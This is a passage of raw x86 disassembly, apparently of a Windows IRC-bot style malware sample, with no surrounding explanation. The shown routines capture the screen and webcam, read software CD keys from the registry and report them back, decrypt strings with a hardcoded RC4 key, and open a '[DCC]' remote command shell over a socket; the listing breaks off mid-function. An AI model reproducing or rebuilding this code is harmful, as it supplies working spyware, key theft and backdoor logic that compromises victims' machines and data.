jz loc_403B6C
cmp ebx, esi
jz short loc_403A69
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call dword_44B5F0 ; GetDIBColorTable
mov ebx, eax
loc_403A69: ; CODE XREF: sub_403948+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
call ds:dword_4942EC
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_403B4C
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
call ds:dword_4942E4
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
call ds:dword_4942E4
cmp ebx, esi
jz short loc_403B2E
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
call ds:dword_4942E4
loc_403B2E: ; CODE XREF: sub_403948+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
call ds:dword_4942E4
push [ebp+arg_0]
call ds:dword_4942E0
push 1
pop esi
loc_403B4C: ; CODE XREF: sub_403948+1A2j
push [ebp+var_1C]
call dword_44B624 ; DeleteObject
push [ebp+var_4]
call dword_44B588 ; DeleteDC
mov edi, [ebp+var_20]
loc_403B61: ; CODE XREF: sub_403948+70j
push edi
call dword_44B588 ; DeleteDC
mov eax, esi
jmp short loc_403B7E
; ---------------------------------------------------------------------------
loc_403B6C: ; CODE XREF: sub_403948+C7j
; sub_403948+D9j ...
push edi
call dword_44B588 ; DeleteDC
push [ebp+var_4]
call dword_44B588 ; DeleteDC
loc_403B7C: ; CODE XREF: sub_403948+23j
xor eax, eax
loc_403B7E: ; CODE XREF: sub_403948+222j
pop edi
pop esi
pop ebx
leave
retn
sub_403948 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403B83 proc near ; CODE XREF: sub_40C50A+4709p
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_449C74
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_44B618
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_403BC1
mov eax, esi
jmp loc_403D77
; ---------------------------------------------------------------------------
loc_403BC1: ; CODE XREF: sub_403B83+35j
push edi
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403BDE
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_44B71C ; SendMessageA
jmp short loc_403BE0
; ---------------------------------------------------------------------------
loc_403BDE: ; CODE XREF: sub_403B83+47j
xor eax, eax
loc_403BE0: ; CODE XREF: sub_403B83+59j
cmp eax, ebx
jnz short loc_403BEB
loc_403BE4: ; CODE XREF: sub_403B83+88j
; sub_403B83+BCj
mov ebx, esi
jmp loc_403D6C
; ---------------------------------------------------------------------------
loc_403BEB: ; CODE XREF: sub_403B83+5Fj
push edi
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403C08
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_44B71C ; SendMessageA
loc_403C08: ; CODE XREF: sub_403B83+71j
cmp [ebp+var_20], ebx
jz short loc_403BE4
push edi
call dword_44B660 ; IsWindow
test eax, eax
mov edi, 42Ch
jz short loc_403C2E
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_44B71C ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_403C31
; ---------------------------------------------------------------------------
loc_403C2E: ; CODE XREF: sub_403B83+98j
mov [ebp+arg_4], ebx
loc_403C31: ; CODE XREF: sub_403B83+A9j
push [ebp+arg_4]
call sub_416A10
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_403BE4
push [ebp+arg_4]
call sub_416A10
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_403C58
push 1
pop ebx
jmp loc_403D6C
; ---------------------------------------------------------------------------
loc_403C58: ; CODE XREF: sub_403B83+CBj
push [ebp+var_4]
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403C75
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_44B71C ; SendMessageA
loc_403C75: ; CODE XREF: sub_403B83+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call sub_418A00
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_403C90
mov ecx, 280h
loc_403C90: ; CODE XREF: sub_403B83+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_403C9C
mov eax, 1E0h
loc_403C9C: ; CODE XREF: sub_403B83+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_44B660 ; IsWindow
test eax, eax
mov edi, 42Dh
jz short loc_403CE6
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_44B71C ; SendMessageA
loc_403CE6: ; CODE XREF: sub_403B83+153j
push [ebp+var_4]
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403D03
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_44B71C ; SendMessageA
loc_403D03: ; CODE XREF: sub_403B83+16Ej
push [ebp+var_4]
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403D22
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_44B71C ; SendMessageA
loc_403D22: ; CODE XREF: sub_403B83+18Bj
push [ebp+var_4]
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403D3F
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_44B71C ; SendMessageA
loc_403D3F: ; CODE XREF: sub_403B83+1AAj
push [ebp+var_8]
call sub_417480
push esi
call sub_417480
pop ecx
pop ecx
push [ebp+var_4]
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403D6C
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_44B71C ; SendMessageA
loc_403D6C: ; CODE XREF: sub_403B83+63j
; sub_403B83+D0j ...
push [ebp+var_4]
call dword_44B770 ; DestroyWindow
mov eax, ebx
loc_403D77: ; CODE XREF: sub_403B83+39j
pop edi
pop esi
pop ebx
leave
retn
sub_403B83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403D7C proc near ; CODE XREF: sub_40C50A+47C2p
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_449C74
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow_0 ; "Window"
call dword_44B618
mov edi, eax
cmp edi, ebx
jnz short loc_403DBA
mov eax, esi
jmp loc_403FB6
; ---------------------------------------------------------------------------
loc_403DBA: ; CODE XREF: sub_403D7C+35j
push edi
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403DD7
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_44B71C ; SendMessageA
jmp short loc_403DD9
; ---------------------------------------------------------------------------
loc_403DD7: ; CODE XREF: sub_403D7C+47j
xor eax, eax
loc_403DD9: ; CODE XREF: sub_403D7C+59j
cmp eax, ebx
jnz short loc_403DE4
loc_403DDD: ; CODE XREF: sub_403D7C+8Bj
; sub_403D7C+BCj
mov ebx, esi
jmp loc_403FAD
; ---------------------------------------------------------------------------
loc_403DE4: ; CODE XREF: sub_403D7C+5Fj
push edi
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403E04
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_44B71C ; SendMessageA
loc_403E04: ; CODE XREF: sub_403D7C+71j
cmp [ebp+var_7C], ebx
jz short loc_403DDD
push edi
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403E27
push ebx
push ebx
push 42Ch
push edi
call dword_44B71C ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_403E2A
; ---------------------------------------------------------------------------
loc_403E27: ; CODE XREF: sub_403D7C+96j
mov [ebp+arg_4], ebx
loc_403E2A: ; CODE XREF: sub_403D7C+A9j
push [ebp+arg_4]
call sub_416A10
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_403DDD
push [ebp+arg_4]
call sub_416A10
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_403E51
push 1
pop ebx
jmp loc_403FAD
; ---------------------------------------------------------------------------
loc_403E51: ; CODE XREF: sub_403D7C+CBj
push edi
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403E6E
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call dword_44B71C ; SendMessageA
loc_403E6E: ; CODE XREF: sub_403D7C+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call sub_418A00
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_403E89
mov ecx, 0A0h
loc_403E89: ; CODE XREF: sub_403D7C+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_403E93
push 78h
pop eax
loc_403E93: ; CODE XREF: sub_403D7C+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403ED8
push esi
push [ebp+arg_4]
push 42Dh
push edi
call dword_44B71C ; SendMessageA
loc_403ED8: ; CODE XREF: sub_403D7C+14Aj
push edi
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403EF5
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_44B71C ; SendMessageA
loc_403EF5: ; CODE XREF: sub_403D7C+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403F33
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_44B71C ; SendMessageA
loc_403F33: ; CODE XREF: sub_403D7C+1A3j
push edi
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403F4E
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_44B71C ; SendMessageA
loc_403F4E: ; CODE XREF: sub_403D7C+1C0j
push edi
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403F67
push ebx
push ebx
push 43Eh
push edi
call dword_44B71C ; SendMessageA
loc_403F67: ; CODE XREF: sub_403D7C+1DBj
push edi
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403F84
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call dword_44B71C ; SendMessageA
loc_403F84: ; CODE XREF: sub_403D7C+1F4j
push [ebp+var_4]
call sub_417480
push esi
call sub_417480
pop ecx
pop ecx
push edi
call dword_44B660 ; IsWindow
test eax, eax
jz short loc_403FAD
push ebx
push ebx
push 40Bh
push edi
call dword_44B71C ; SendMessageA
loc_403FAD: ; CODE XREF: sub_403D7C+63j
; sub_403D7C+D0j ...
push edi
call dword_44B770 ; DestroyWindow
mov eax, ebx
loc_403FB6: ; CODE XREF: sub_403D7C+39j
pop edi
pop esi
pop ebx
leave
retn
sub_403D7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403FBB proc near ; CODE XREF: sub_40C50A+5866p
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_EC = byte ptr -0ECh
var_6C = byte ptr -6Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F0h
push edi
xor edi, edi
cmp off_436904, edi
mov [ebp+var_8], 80h
jz loc_40416C
push ebx
push esi
mov eax, offset off_436904
mov esi, offset dword_436910
loc_403FE6: ; CODE XREF: sub_403FBB+1A9j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push edi
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_44B730 ; RegOpenKeyExA
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_EC]
push eax
push edi
push edi
push dword ptr [esi-8]
push [ebp+var_4]
call dword_44B5CC ; RegQueryValueExA
test eax, eax
jnz loc_404152
mov eax, [esi]
cmp eax, edi
jz loc_404112
push eax
lea eax, [ebp+var_EC]
push eax
lea eax, [ebp+var_3F0]
push offset aSS ; "%s\\%s"
push eax
call sub_418D70
lea eax, [ebp+var_3F0]
push offset aR ; "r"
push eax
call sub_419D70
mov ebx, eax
add esp, 18h
cmp ebx, edi
jz loc_404152
loc_40405D: ; CODE XREF: sub_403FBB+C9j
push ebx
lea eax, [ebp+var_6C]
push 64h
push eax
call sub_419B30
add esp, 0Ch
test eax, eax
jz loc_404109
push dword ptr [esi+4]
lea eax, [ebp+var_6C]
push eax
call sub_419AB0
pop ecx
test eax, eax
pop ecx
jnz short loc_40405D
push 3Dh
push dword ptr [esi+4]
call sub_4199F0
pop ecx
test eax, eax
pop ecx
jz short loc_4040C9
lea eax, [ebp+var_6C]
push offset asc_437BD8 ; "="
push eax
call sub_419890
push offset asc_437BDC ; "="
push edi
call sub_419890
push eax
lea eax, [ebp+var_2EC]
push dword ptr [esi-4]
push offset aSCdKeyS_ ; "%s CD Key: (%s)."
push eax
call sub_418D70
add esp, 20h
jmp short loc_4040E4
; ---------------------------------------------------------------------------
loc_4040C9: ; CODE XREF: sub_403FBB+D9j
lea eax, [ebp+var_6C]
push eax
lea eax, [ebp+var_2EC]
push dword ptr [esi-4]
push offset aSCdKeyS__0 ; "%s CD Key: (%s)."
push eax
call sub_418D70
add esp, 10h
loc_4040E4: ; CODE XREF: sub_403FBB+10Cj
push edi
lea eax, [ebp+var_2EC]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
lea eax, [ebp+var_2EC]
push eax
call sub_4035E1
add esp, 18h
loc_404109: ; CODE XREF: sub_403FBB+B3j
push ebx
call sub_419740
pop ecx
jmp short loc_404152
; ---------------------------------------------------------------------------
loc_404112: ; CODE XREF: sub_403FBB+65j
lea eax, [ebp+var_EC]
push eax
lea eax, [ebp+var_2EC]
push dword ptr [esi-4]
push offset aSCdKeyS__1 ; "%s CD Key: (%s)."
push eax
call sub_418D70
push edi
lea eax, [ebp+var_2EC]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
lea eax, [ebp+var_2EC]
push eax
call sub_4035E1
add esp, 28h
loc_404152: ; CODE XREF: sub_403FBB+5Bj
; sub_403FBB+9Cj ...
push [ebp+var_4]
call dword_44B69C ; RegCloseKey
add esi, 18h
cmp [esi-0Ch], edi
lea eax, [esi-0Ch]
jnz loc_403FE6
pop esi
pop ebx
loc_40416C: ; CODE XREF: sub_403FBB+19j
pop edi
leave
retn
sub_403FBB endp
; =============== S U B R O U T I N E =======================================
sub_40416F proc near ; CODE XREF: sub_4041AA+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4041A4
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_404188: ; CODE XREF: sub_40416F+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, ds:dword_43201C[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_404188
pop edi
pop ebx
loc_4041A4: ; CODE XREF: sub_40416F+Ej
mov eax, esi
pop esi
not eax
retn
sub_40416F endp
; =============== S U B R O U T I N E =======================================
sub_4041AA proc near ; CODE XREF: sub_405084+24Ap
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_416A10
mov [esp+10h+var_10], offset aRb ; "rb"
push [esp+10h+arg_0]
mov esi, eax
call sub_419D70
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4041F9
loc_4041CF: ; CODE XREF: sub_4041AA+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4041FD
inc ebx
push ebx
push esi
call sub_416EA0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4041F9
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_419D90
add esp, 10h
jmp short loc_4041CF
; ---------------------------------------------------------------------------
loc_4041F9: ; CODE XREF: sub_4041AA+23j
; sub_4041AA+39j
xor eax, eax
jmp short loc_404218
; ---------------------------------------------------------------------------
loc_4041FD: ; CODE XREF: sub_4041AA+29j
dec ebx
push ebx
push esi
call sub_40416F
push esi
mov ebx, eax
call sub_417480
push edi
call sub_419740
add esp, 10h
mov eax, ebx
loc_404218: ; CODE XREF: sub_4041AA+51j
pop edi
pop esi
pop ebx
retn
sub_4041AA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 240h
push ebx
push esi
lea eax, [ebp-34h]
push edi
xor ebx, ebx
push eax
xor edi, edi
mov byte ptr [ebp-34h], 0Ah
mov byte ptr [ebp-33h], 0Eh
mov byte ptr [ebp-32h], 20h
mov byte ptr [ebp-31h], 48h
mov byte ptr [ebp-30h], 0Bh
mov byte ptr [ebp-2Fh], 2Bh
mov byte ptr [ebp-2Eh], 0Ch
mov byte ptr [ebp-2Dh], 23h
mov byte ptr [ebp-2Ch], 3Ah
mov byte ptr [ebp-2Bh], 27h
mov byte ptr [ebp-2Ah], 28h
mov byte ptr [ebp-29h], 5Eh
mov byte ptr [ebp-28h], 2Ah
mov byte ptr [ebp-27h], 1Eh
mov byte ptr [ebp-26h], 2Dh
mov byte ptr [ebp-25h], 5Ah
mov byte ptr [ebp-24h], 1Bh
mov byte ptr [ebp-23h], 0Fh
mov byte ptr [ebp-22h], 4Ch
mov byte ptr [ebp-21h], 44h
mov byte ptr [ebp-20h], 16h
mov byte ptr [ebp-1Fh], 4
mov byte ptr [ebp-1Eh], 57h
mov byte ptr [ebp-1Dh], 23h
mov byte ptr [ebp-1Ch], 11h
mov byte ptr [ebp-1Bh], 53h
mov byte ptr [ebp-1Ah], 38h
mov byte ptr [ebp-19h], 13h
mov byte ptr [ebp-18h], 0Dh
mov byte ptr [ebp-17h], 12h
mov byte ptr [ebp-16h], 25h
mov byte ptr [ebp-15h], 1Ch
mov byte ptr [ebp-14h], 30h
mov byte ptr [ebp-13h], 12h
mov byte ptr [ebp-12h], 50h
mov byte ptr [ebp-11h], 4Fh
mov byte ptr [ebp-10h], 39h
mov byte ptr [ebp-0Fh], 10h
mov byte ptr [ebp-0Eh], 42h
mov byte ptr [ebp-0Dh], 1Fh
mov byte ptr [ebp-0Ch], 37h
mov byte ptr [ebp-0Bh], 1Dh
mov byte ptr [ebp-0Ah], 41h
mov byte ptr [ebp-9], 55h
mov byte ptr [ebp-8], 2Ch
mov byte ptr [ebp-7], 41h
mov byte ptr [ebp-6], 2Ch
mov byte ptr [ebp-5], 58h
mov [ebp-4], bl
call sub_418E70
mov esi, 101h
mov [ebp-38h], eax
push esi
lea eax, [ebp-13Ch]
push ebx
push eax
call sub_4189A0
push esi
lea eax, [ebp-240h]
push ebx
push eax
call sub_4189A0
add esp, 1Ch
xor eax, eax
mov ecx, 100h
loc_404326: ; CODE XREF: .text:00404330j
mov [ebp+eax-13Ch], al
inc eax
cmp eax, ecx
jb short loc_404326
cmp [ebp+14h], ebx
jz short loc_404355
xor eax, eax
loc_404339: ; CODE XREF: .text:00404351j
cmp edi, [ebp+14h]
jnz short loc_404340
xor edi, edi
loc_404340: ; CODE XREF: .text:0040433Cj
mov edx, [ebp+10h]
mov dl, [edi+edx]
inc edi
mov [ebp+eax-240h], dl
inc eax
cmp eax, ecx
jb short loc_404339
jmp short loc_40436F
; ---------------------------------------------------------------------------
loc_404355: ; CODE XREF: .text:00404335j
xor esi, esi
loc_404357: ; CODE XREF: .text:0040436Dj
cmp edi, [ebp-38h]
jnz short loc_40435E
xor edi, edi
loc_40435E: ; CODE XREF: .text:0040435Aj
mov al, [ebp+edi-34h]
inc edi
mov [ebp+esi-240h], al
inc esi
cmp esi, ecx
jb short loc_404357
loc_40436F: ; CODE XREF: .text:00404353j
mov [ebp+14h], ebx
xor edi, edi
mov eax, 0FFh
loc_404379: ; CODE XREF: .text:004043B3j
mov dl, [ebp+edi-13Ch]
mov ebx, [ebp+14h]
mov cl, [ebp+edi-240h]
lea esi, [ebp+edi-13Ch]
add ebx, edx
add ecx, ebx
and ecx, eax
inc edi
mov [ebp+14h], ecx
cmp edi, 100h
mov bl, [ebp+ecx-13Ch]
lea ecx, [ebp+ecx-13Ch]
mov [esi], bl
mov [ecx], dl
jb short loc_404379
xor edi, edi
cmp [ebp+0Ch], edi
mov [ebp+14h], edi
mov [ebp+10h], edi
jbe short loc_404411
loc_4043C2: ; CODE XREF: .text:0040440Fj
inc edi
and edi, eax
mov dl, [ebp+edi-13Ch]
lea ecx, [ebp+edi-13Ch]
mov bl, dl
add ebx, [ebp+14h]
and ebx, eax
mov esi, ebx
mov bl, [ebp+esi-13Ch]
mov [ebp+14h], esi
mov [ecx], bl
lea esi, [ebp+esi-13Ch]
mov ebx, [ebp+10h]
mov [esi], dl
mov cl, [ecx]
mov esi, [ebp+8]
add ecx, edx
and ecx, eax
add esi, ebx
mov cl, [ebp+ecx-13Ch]
xor [esi], cl
inc ebx
cmp ebx, [ebp+0Ch]
mov [ebp+10h], ebx
jb short loc_4043C2
loc_404411: ; CODE XREF: .text:004043C0j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404416 proc near ; CODE XREF: sub_40449C+33p
; sub_404A02+BCp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_44B740 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_404492
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_44B6C0 ; htons
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_44B700 ; inet_addr
cmp eax, esi
jnz short loc_404477
push [ebp+arg_0]
call dword_44B744 ; gethostbyname
test eax, eax
jz short loc_404492
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_404477: ; CODE XREF: sub_404416+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_44B668 ; connect
cmp eax, esi
jnz short loc_404496
push edi
call dword_44B758 ; closesocket
loc_404492: ; CODE XREF: sub_404416+1Bj
; sub_404416+58j
mov eax, esi
jmp short loc_404498
; ---------------------------------------------------------------------------
loc_404496: ; CODE XREF: sub_404416+73j
mov eax, edi
loc_404498: ; CODE XREF: sub_404416+7Ej
pop edi
pop esi
leave
retn
sub_404416 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40449C proc near ; DATA XREF: sub_40C50A+A07o
var_11B4 = byte ptr -11B4h
var_1B4 = byte ptr -1B4h
var_1AC = byte ptr -1ACh
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 11B4h
call sub_418D40
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1B4]
rep movsd
push 1
pop esi
push [ebp+var_14]
mov [eax+1B0h], esi
lea eax, [ebp+var_1AC]
push eax
call sub_404416
mov ebx, eax
pop ecx
cmp ebx, 0FFFFFFFFh
pop ecx
jnz short loc_40452F
lea eax, [ebp+var_11B4]
push offset aDccFailedToOpe ; "[DCC]: Failed to open socket."
push eax
call sub_418D70
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_404512
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40842D
add esp, 14h
loc_404512: ; CODE XREF: sub_40449C+59j
lea eax, [ebp+var_11B4]
push eax
call sub_4035E1
push [ebp+var_10]
call sub_416507
pop ecx
pop ecx
push esi
call ds:dword_4942FC
loc_40452F: ; CODE XREF: sub_40449C+3Fj
push offset dword_449CD8
push ebx
call sub_412E64
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_40459A
lea eax, [ebp+var_11B4]
push offset aDccFailedToO_0 ; "[DCC]: Failed to open remote command sh"...
push eax
call sub_418D70
xor edi, edi
pop ecx
cmp [ebp+var_8], edi
pop ecx
jnz short loc_404576
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40842D
add esp, 14h
loc_404576: ; CODE XREF: sub_40449C+BDj
lea eax, [ebp+var_11B4]
push eax
call sub_4035E1
pop ecx
push ebx
call dword_44B758 ; closesocket
push [ebp+var_10]
call sub_416507
pop ecx
push esi
call ds:dword_4942FC
loc_40459A: ; CODE XREF: sub_40449C+A3j
push 64h
call ds:dword_4942D8
xor edi, edi
mov esi, 1000h
loc_4045A9: ; CODE XREF: sub_40449C+168j
push esi
lea eax, [ebp+var_11B4]
push edi
push eax
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+var_11B4]
push edi
push esi
push eax
push ebx
call dword_44B6D8 ; recv
test eax, eax
jle short loc_404606
lea eax, [ebp+var_11B4]
push offset asc_437C6C ; "\n"
push eax
call sub_419FB0
lea eax, [ebp+var_11B4]
push eax
call sub_412C50
add esp, 0Ch
test eax, eax
jz short loc_404606
push 64h
call ds:dword_4942D8
push 7
call sub_416433
test eax, eax
pop ecx
jnz short loc_4045A9
loc_404606: ; CODE XREF: sub_40449C+130j
; sub_40449C+154j
lea eax, [ebp+var_11B4]
push offset aDccFailedToSen ; "[DCC]: Failed to send to Remote command"...
push eax
call sub_418D70
cmp [ebp+var_8], edi
pop ecx
pop ecx
jnz short loc_404639
push edi
lea eax, [ebp+var_11B4]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push ebx
call sub_40842D
add esp, 14h
loc_404639: ; CODE XREF: sub_40449C+180j
lea eax, [ebp+var_11B4]
push eax
call sub_4035E1
pop ecx
push ebx
call dword_44B758 ; closesocket
push [ebp+var_10]
call sub_416507
pop ecx
push edi
call ds:dword_4942FC
sub_40449C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40465D proc near ; DATA XREF: sub_40C50A+4A8Ao
var_A04 = byte ptr -0A04h
var_604 = byte ptr -604h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_3FC = byte ptr -3FCh
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1E0 = byte ptr -1E0h
var_DC = byte ptr -0DCh
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp+var_1FC]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp+var_10], esi
push esi
